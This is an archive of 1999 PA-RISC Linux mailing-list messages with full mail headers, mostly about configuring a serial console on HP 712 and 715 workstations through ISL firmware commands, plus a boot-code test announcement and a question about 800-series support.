Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA16237;
	Thu, 23 Dec 1999 11:15:27 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <199912231545.HAA07557@meow.sr.hp.com>; from Bill Katz William" on Thu, Dec 23, 1999 at 07:45:00AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6632

On Thu, Dec 23, 1999 at 07:45:00AM -0800, Bill Katz William" wrote:
> |How do I set the console on my 712 to be the serial port, not the graphics
> |display?
> |
> |Thanks
> |
> 
> Boot to ISL and use the conspath
> command to change the console back to rs232.  The command to use is:
> 
> serial
>         conspath 2/0/4.643
> graphics
>         conspath 1/0/0.0

This contradicts the PA-RISC Booting HOWTO:

-----

3.1.2.3.3. How can I change the boot console to serial on a 712?

Unfortunately, you can't. Although 712s are configured for in-house HP
development to use serial console, this configuration isn't supported
in the field. You have to use a graphics console for 712s.

-----

I'd like to know if this needs to be corrected.


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@rascal.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to set serial console on 712 (fwd)
Date: Thu, 23 Dec 1999 12:31:55 -0700
Lines: 141
Approved: news@gmane.org
Message-ID: <199912231931.MAA06831@rascal.fc.hp.com>
References: <19991223111527.L12629@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618708 29373 80.91.229.3 (22 Nov 2014 01:11:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:48 +0000 (UTC)
Cc: bkatz@agilent.com, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <willy@thepuffingroup.com>
Original-X-From: taggart@rascal.fc.hp.com  Thu Dec 23 12:30:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA17165
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 12:30:16 -0700
Original-Received: (qmail 23097 invoked by uid 15267); 23 Dec 1999 19:32:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23084 invoked from network); 23 Dec 1999 19:32:48 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 19:32:48 -0000
Original-Received: from rascal.fc.hp.com (rascal.fc.hp.com [15.2.72.2])
	by palrel3.hp.com (Postfix) with ESMTP
	id 62808630; Thu, 23 Dec 1999 11:32:47 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1]) by rascal.fc.hp.com with SMTP (8.7.1/8.7.1) id MAA06831; Thu, 23 Dec 1999 12:31:55 -0700 (MST)
X-Authentication-Warning: rascal.fc.hp.com: Host localhost [127.0.0.1] didn't use HELO protocol
X-Mailer: exmh version 2.0zeta 7/24/97
In-reply-to: Your message of "Thu, 23 Dec 1999 11:15:27 MST."
             <19991223111527.L12629@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6633


Matthew Wilcox writes...

 >On Thu, Dec 23, 1999 at 07:45:00AM -0800, Bill Katz William" wrote:
 >> |How do I set the console on my 712 to be the serial port, not the 
graphics
 >> |display?
 >> |
 >> |Thanks
 >> |
 >> 
 >> Boot to ISL and use the conspath
 >> command to change the console back to rs232.  The command to use is:
 >> 
 >> serial
 >>         conspath 2/0/4.643
 >> graphics
 >>         conspath 1/0/0.0
 >
 >This contradicts the PA-RISC Booting HOWTO:
 >
 >-----
 >
 >3.1.2.3.3. How can I change the boot console to serial on a 712?
 >
 >Unfortunately, you can't. Although 712s are configured for in-house HP
 >development to use serial console, this configuration isn't supported
 >in the field. You have to use a graphics console for 712s.
 >
 >-----
 >
 >I'd like to know if this needs to be corrected.

The above statement about serial console not being "supported" on 712 is 
correct. That doesn't mean you can't do it. Here are the instructions,

-------------
CONFIGURING A RS-232 CONSOLE on a 712

An RS-232 console is not a supported feature in the 712 products. For this 
reason users cannot select the RS-232 port as a console from the BOOT_ADMIN 
prompt.

These instructions will configure an RS-232 console with 9600 Baud, 8 data 
bits, 1 stop bit, and no parity.

HOW-TO INSTRUCTIONS

NOTE: If the following instructions are not entered correctly, your system 
may be left in an un-usable state. Contact support to "dagger" your system 
in this case.

     Power up the 712 system. 
     Press (ESCAPE) during boot to abort auto booting the system. 
     At the BOOT_ADMIN> prompt, use the boot command and the isl keyword.
        This will stop the boot sequence at ISL instead of booting to the 
OS.
     For example: 'boot scsi.6 isl' 
     At the ISL> prompt, type 'conspath 2/0/4.0x283' 
     At the ISL> prompt, type 'disp' and verify console path is:
        (hex) 2/0/4.283.0.0.0.0.0 
     If necessary re-type the conspath command above. 
     Connect an RS-232 terminal to the system. 
     Power cycle the system to bring it up on an RS-232 console. 
-------------

As it indicates above, *BE VERY CAREFUL* or you can hose your system. If 
you
do, I have one of the "dagger" cards that can be loaned out to fix it.

-- 
Matt Taggart
taggart@fc.hp.com




X-From-Line: hppa-linux@thepuffingroup.com  Thu Mar 11 15:54:36 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id PAA14261
	for <pcj@merlin.pcj.primenet.com>; Thu, 11 Mar 1999 15:54:32 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Thu, 11 Mar 1999 15:54:36 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id PAA14177
	for <pcj@smtp-local.primenet.com>; Thu, 11 Mar 1999 15:32:44 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id PAA26870
	for <pcj@primenet.com>; Thu, 11 Mar 1999 15:32:42 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd026771; Thu Mar 11 15:32:32 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id RAA06933;
	Thu, 11 Mar 1999 17:32:02 -0500
Resent-Date: Thu, 11 Mar 1999 17:32:02 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Thu, 11 Mar 1999 16:35:15 -0600
From: Jason Eckhardt <jason@equator.com>
Message-Id: <199903112235.QAA05851@equator.com>
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Boot #4 and source on ftp site
Resent-Message-ID: <"3RIsy2.0.Ei1.XH4ws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/171
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 9ce996d3976fbc9addd3c92c1b564e49
Lines: 25
Xref: merlin.pcj.primenet.com palinux:142


Boot test #4: This is essentially the same code as #3 but I have taken
out some delays, modified the cache flush routines, and turned
verbose (debug) mode back on. I want to make sure that not having the delays
makes no difference and that no characters get dropped when there is a lot
of text (as in debug mode). Please let me know if the test still passes
as before. Hopefully this will be the last test for a while. Kernel work
comes next.

I have uploaded the binary as well as a new source drop to the ftp site. The
source is now GPL'd and a detailed README is included which gives an overview
of the boot code operation. This source supersedes any previous source you
may have laying around.

ftp from sod.res.cmu.edu:/pub/parisc/hilo
  boot_rel_0.2.tar.gz        The latest source code and documentation.
  bootstrap_4.bin.gz         Bootstrap binary #4. 

Regards, 
Jason Eckhardt.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MaShaun Jones <mkj@mkj.cb.lucent.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to set serial console on 712 (fwd)
Date: Thu, 23 Dec 1999 15:19:48 -0500 (EST)
Lines: 87
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.9912231519330.638-100000@mkj.cb.lucent.com>
References: <199912231931.MAA06831@rascal.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618708 29375 80.91.229.3 (22 Nov 2014 01:11:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:48 +0000 (UTC)
Cc: Matthew Wilcox <willy@thepuffingroup.com>, bkatz@agilent.com,
        parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@rascal.fc.hp.com>
Original-X-From: mkj@mkj.cb.lucent.com  Thu Dec 23 13:17:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA17624
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 13:17:18 -0700
Original-Received: (qmail 9894 invoked by uid 15267); 23 Dec 1999 20:19:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9884 invoked from network); 23 Dec 1999 20:19:51 -0000
Original-Received: from auemail1.lucent.com (HELO auemlsrv.firewall.lucent.com) (192.11.223.161)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 20:19:51 -0000
Original-Received: from auemlsrv.firewall.lucent.com (localhost [127.0.0.1])
	by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id PAA12833;
	Thu, 23 Dec 1999 15:19:50 -0500 (EST)
Original-Received: from mkj.cb.lucent.com (h135-7-112-39.lucent.com [135.7.112.39])
	by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id PAA12816;
	Thu, 23 Dec 1999 15:19:49 -0500 (EST)
Original-Received: from localhost (mkj@localhost)
	by mkj.cb.lucent.com (8.9.3/8.9.3) with ESMTP id UAA00640;
	Thu, 23 Dec 1999 20:19:48 GMT
	(envelope-from mkj@mkj.cb.lucent.com)
In-Reply-To: <199912231931.MAA06831@rascal.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6634

Is there a way to use a serial console with a 715 however?

On Thu, 23 Dec 1999, Matt Taggart wrote:

> 
> Matthew Wilcox writes...
> 
>  >On Thu, Dec 23, 1999 at 07:45:00AM -0800, Bill Katz William" wrote:
>  >> |How do I set the console on my 712 to be the serial port, not the 
> graphics
>  >> |display?
>  >> |
>  >> |Thanks
>  >> |
>  >> 
>  >> Boot to ISL and use the conspath
>  >> command to change the console back to rs232.  The command to use is:
>  >> 
>  >> serial
>  >>         conspath 2/0/4.643
>  >> graphics
>  >>         conspath 1/0/0.0
>  >
>  >This contradicts the PA-RISC Booting HOWTO:
>  >
>  >-----
>  >
>  >3.1.2.3.3. How can I change the boot console to serial on a 712?
>  >
>  >Unfortunately, you can't. Although 712s are configured for in-house HP
>  >development to use serial console, this configuration isn't supported
>  >in the field. You have to use a graphics console for 712s.
>  >
>  >-----
>  >
>  >I'd like to know if this needs to be corrected.
> 
> The above statement about serial console not being "supported" on 712 is 
> correct. That doesn't mean you can't do it. Here are the instructions,
> 
> -------------
> CONFIGURING A RS-232 CONSOLE on a 712
> 
> An RS-232 console is not a supported feature in the 712 products. For this 
> reason users cannot select the RS-232 port as a console from the BOOT_ADMIN 
> prompt.
> 
> These instructions will configure an RS-232 console with 9600 Baud, 8 data 
> bits, 1 stop bit, and no parity.
> 
> HOW-TO INSTRUCTIONS
> 
> NOTE: If the following instructions are not entered correctly, your system 
> may be left in an un-usable state. Contact support to "dagger" your system 
> in this case.
> 
>      Power up the 712 system. 
>      Press (ESCAPE) during boot to abort auto booting the system. 
>      At the BOOT_ADMIN> prompt, use the boot command and the isl keyword.
>         This will stop the boot sequence at ISL instead of booting to the 
> OS.
>      For example: 'boot scsi.6 isl' 
>      At the ISL> prompt, type 'conspath 2/0/4.0x283' 
>      At the ISL> prompt, type 'disp' and verify console path is:
>         (hex) 2/0/4.283.0.0.0.0.0 
>      If necessary re-type the conspath command above. 
>      Connect an RS-232 terminal to the system. 
>      Power cycle the system to bring it up on an RS-232 console. 
> -------------
> 
> As it indicates above, *BE VERY CAREFUL* or you can hose your system. If 
> you
> do, I have one of the "dagger" cards that can be loaned out to fix it.
> 
> -- 
> Matt Taggart
> taggart@fc.hp.com
> 
> 
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@rascal.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to set serial console on 712 (fwd)
Date: Thu, 23 Dec 1999 14:34:45 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <199912232134.OAA07313@rascal.fc.hp.com>
References: <Pine.BSF.4.10.9912231519330.638-100000@mkj.cb.lucent.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618708 29379 80.91.229.3 (22 Nov 2014 01:11:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:48 +0000 (UTC)
Cc: Matthew Wilcox <willy@thepuffingroup.com>, bkatz@agilent.com,
        parisc-linux@thepuffingroup.com
To: MaShaun Jones <mkj@mkj.cb.lucent.com>
Original-X-From: taggart@rascal.fc.hp.com  Thu Dec 23 14:32:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA18382
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 14:32:14 -0700
Original-Received: (qmail 5346 invoked by uid 15267); 23 Dec 1999 21:34:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5336 invoked from network); 23 Dec 1999 21:34:47 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 21:34:47 -0000
Original-Received: from rascal.fc.hp.com (rascal.fc.hp.com [15.2.72.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 3481511F56; Thu, 23 Dec 1999 16:34:46 -0500 (EST)
Original-Received: from localhost (localhost [127.0.0.1]) by rascal.fc.hp.com with SMTP (8.7.1/8.7.1) id OAA07313; Thu, 23 Dec 1999 14:34:45 -0700 (MST)
X-Authentication-Warning: rascal.fc.hp.com: Host localhost [127.0.0.1] didn't use HELO protocol
X-Mailer: exmh version 2.0zeta 7/24/97
In-reply-to: Your message of "Thu, 23 Dec 1999 15:19:48 MST."
             <Pine.BSF.4.10.9912231519330.638-100000@mkj.cb.lucent.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6635


MaShaun Jones writes...

 >Is there a way to use a serial console with a 715 however?

As someone mentioned previously, just unplug the keyboard. Almost all HP-PA 
workstations will go to serial if they can't find a keyboard. The only one 
I know of that doesn't is the 712. If you want to force an HP-PA 
workstation to serial(even if a keyboard is plugged in) then set the 
console path in the firmware. It varies by machine but it's usually pretty 
easy. The "help" command should give you an example for the machine you're 
on. The 712 was purposely obfuscated so people wouldn't use serial console.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to set serial console on 712 (fwd)
Date: Thu, 23 Dec 1999 16:35:22 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <19991223163522.Q12629@thepuffingroup.com>
References: <199912231931.MAA06831@rascal.fc.hp.com> <Pine.BSF.4.10.9912231519330.638-100000@mkj.cb.lucent.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618709 29381 80.91.229.3 (22 Nov 2014 01:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: MaShaun Jones <mkj@mkj.cb.lucent.com>
Original-X-From: willy@thepuffingroup.com  Thu Dec 23 14:32:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA18481
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 14:32:55 -0700
Original-Received: (qmail 5614 invoked by uid 15267); 23 Dec 1999 21:35:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5607 invoked from network); 23 Dec 1999 21:35:27 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 21:35:27 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA16629;
	Thu, 23 Dec 1999 16:35:23 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.BSF.4.10.9912231519330.638-100000@mkj.cb.lucent.com>; from MaShaun Jones on Thu, Dec 23, 1999 at 03:19:48PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6636

On Thu, Dec 23, 1999 at 03:19:48PM -0500, MaShaun Jones wrote:
> Is there a way to use a serial console with a 715 however?

Yes, and it features in the HOWTO:

http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/parisc-linux/parisc-linux-boot/preparation.html#SERIALCONSOLE

i've used a 715 in this configuration myself.


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Newnham <mnewnham@adacorp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux port for 800 series
Date: Thu, 23 Dec 1999 15:15:23 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <95DE24D1FCFED0118B910060940A33401D4378@mailhub.adacorp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618709 29385 80.91.229.3 (22 Nov 2014 01:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mnewnham@adacorp.com  Thu Dec 23 15:11:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA19322
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 15:11:30 -0700
Original-Received: (qmail 19840 invoked by uid 15267); 23 Dec 1999 22:14:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19833 invoked from network); 23 Dec 1999 22:14:02 -0000
Original-Received: from unknown (HELO external.adacorp.com) (root@206.124.19.10)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 22:14:02 -0000
Original-Received: from ada-nt.adacorp.com (adacorp.com [192.168.10.35])
	by external.adacorp.com (8.9.3/8.9.3) with ESMTP id PAA14495
	for <parisc-linux@thepuffingroup.com>; Thu, 23 Dec 1999 15:17:13 -0700
Original-Received: by mailhub.adacorp.com with Internet Mail Service (5.0.1460.8)
	id <ZLL85RYM>; Thu, 23 Dec 1999 15:15:24 -0700
X-Mailer: Internet Mail Service (5.0.1460.8)
Xref: news.gmane.org gmane.linux.ports.parisc:6637

Just a very general question:

How is the linux port doing for the 800 series machines? I've a couple of
old boxes crying out for linux....


Regards

Mark

#####################################################
Mark Newnham
Application Design Associates, Inc
6021 S.Syracuse Way #302
Englewood, CO 80111, USA
#####################################################


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux port for 800 series
Date: Thu, 23 Dec 1999 17:47:35 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <19991223174735.R12629@thepuffingroup.com>
References: <95DE24D1FCFED0118B910060940A33401D4378@mailhub.adacorp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618709 29387 80.91.229.3 (22 Nov 2014 01:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mark Newnham <mnewnham@adacorp.com>
Original-X-From: willy@thepuffingroup.com  Thu Dec 23 15:45:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA19736
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 15:45:09 -0700
Original-Received: (qmail 31812 invoked by uid 15267); 23 Dec 1999 22:47:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31805 invoked from network); 23 Dec 1999 22:47:41 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 22:47:41 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA16760;
	Thu, 23 Dec 1999 17:47:36 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <95DE24D1FCFED0118B910060940A33401D4378@mailhub.adacorp.com>; from Mark Newnham on Thu, Dec 23, 1999 at 03:15:23PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6638

On Thu, Dec 23, 1999 at 03:15:23PM -0700, Mark Newnham wrote:
> Just a very general question:
> 
> How is the linux port doing for the 800 series machines? I've a couple of
> old boxes crying out for linux....

Depends exactly which models from the 800 series.  Some of them are PA1.0
which no-one plans to support.  Some of them have proprietary IO busses
that no-one seems interested in working on.  Please have a look at
http://www.thepuffingroup.com/parisc/hw.html and see if your machine
is in the database.  Some of the machines have different names; you can
also look at http://www.thepuffingroup.com/parisc/hp9000_models.html


From - Thu Nov 08 21:11:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo.van.der.Kooij@caiw.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux port for 800 series
Date: Fri, 24 Dec 1999 00:39:55 +0100 (CET)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912240037050.14318-100000@bastion.hugo.vanderkooij.org>
References: <19991223174735.R12629@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618710 29390 80.91.229.3 (22 Nov 2014 01:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Thu Dec 23 16:37:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA20599
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Dec 1999 16:37:28 -0700
Original-Received: (qmail 15333 invoked by uid 15267); 23 Dec 1999 23:40:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15308 invoked from network); 23 Dec 1999 23:39:59 -0000
Original-Received: from k4nw019.dial.kabelfoon.nl (HELO bastion.hugo.vanderkooij.org) (195.193.26.19)
  by mailserv2.iuinc.com with SMTP; 23 Dec 1999 23:39:59 -0000
Original-Received: from bastion.hugo.vanderkooij.org (bastion.hugo.vanderkooij.org [192.168.100.254])
	by bastion.hugo.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id AAA31789
	for <parisc-linux@thepuffingroup.com>; Fri, 24 Dec 1999 00:39:56 +0100
X-Sender: hvdkooij@bastion.hugo.vanderkooij.org
In-Reply-To: <19991223174735.R12629@thepuffingroup.com>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:6639

On Thu, 23 Dec 1999, Matthew Wilcox wrote:

> On Thu, Dec 23, 1999 at 03:15:23PM -0700, Mark Newnham wrote:
> > Just a very general question:
> > 
> > How is the linux port doing for the 800 series machines? I've a couple of
> > old boxes crying out for linux....
> 
> Depends exactly which models from the 800 series.  Some of them are PA1.0
> which no-one plans to support.  Some of them have proprietary IO busses
> that no-one seems interested in working on.  Please have a look at
> http://www.thepuffingroup.com/parisc/hw.html and see if your machine
> is in the database.  Some of the machines have different names; you can
> also look at http://www.thepuffingroup.com/parisc/hp9000_models.html

Nice. But it does not tell what state the different machines are at all.
It just lists the machines out in the field but not how far the various
parts are completed.

And that is what I would like to learn from the database.

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl	http://home.kabelfoon.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Gallagher <teg@cableinet.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] How to set serial console on 712 (fwd)
Date: Fri, 24 Dec 1999 08:19:06 +0000
Lines: 63
Approved: news@gmane.org
Message-ID: <38632C7A.BECFE291@cableinet.co.uk>
Reply-To: teg@cableinet.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618710 29394 80.91.229.3 (22 Nov 2014 01:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:50 +0000 (UTC)
To: taggart@rascal.fc.hp.com, parisc-linux@thepuffingroup.com
Original-X-From: teg@cableinet.co.uk  Fri Dec 24 01:17:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA22585
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Dec 1999 01:17:44 -0700
Original-Received: (qmail 31659 invoked by uid 15267); 24 Dec 1999 08:20:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31652 invoked from network); 24 Dec 1999 08:20:17 -0000
Original-Received: from mail.madge.com (194.129.141.16)
  by mailserv2.iuinc.com with SMTP; 24 Dec 1999 08:20:17 -0000
Original-Received: from ws-exch03.madge.com (ws-exch03.dev.madge.com) by mail.madge.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0001922472@mail.madge.com>;
 Fri, 24 Dec 1999 08:14:47 +0000
Original-Received: from abroad.dev.madge.com ([172.24.0.12]) by ws-exch03.madge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.10)
	id Z2KM63NP; Fri, 24 Dec 1999 08:20:06 -0000
Original-Received: from cableinet.co.uk (tinkywinky.dev.madge.com [172.24.132.221])
	by abroad.dev.madge.com (8.9.0/8.9.0) with ESMTP id IAA18554;
	Fri, 24 Dec 1999 08:09:33 GMT
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6640

I seem to have managed to set my console on my 712 to be neither serial
or graphics.  When HPUX boots it seems to detect the console is serial
and I get a login prompt and console messages on my serial terminal, but
it is not really the console as I see no messages from ISL etc on the
serial port.
I think I incorrectly typed the console path when I changed it :( .

The machine boots fine and I can telnet to it etc, but I have no way of
accessing the PDC/ISL.  Before I managed to do this I upgraded it to the
lastest firmware.

Is there some HPUX (10.20) command or trick to alter PDC? ISL?
information to reset my console to a sane state?

I have tried unplugging the keyboard/disks/LAN pretty much everything
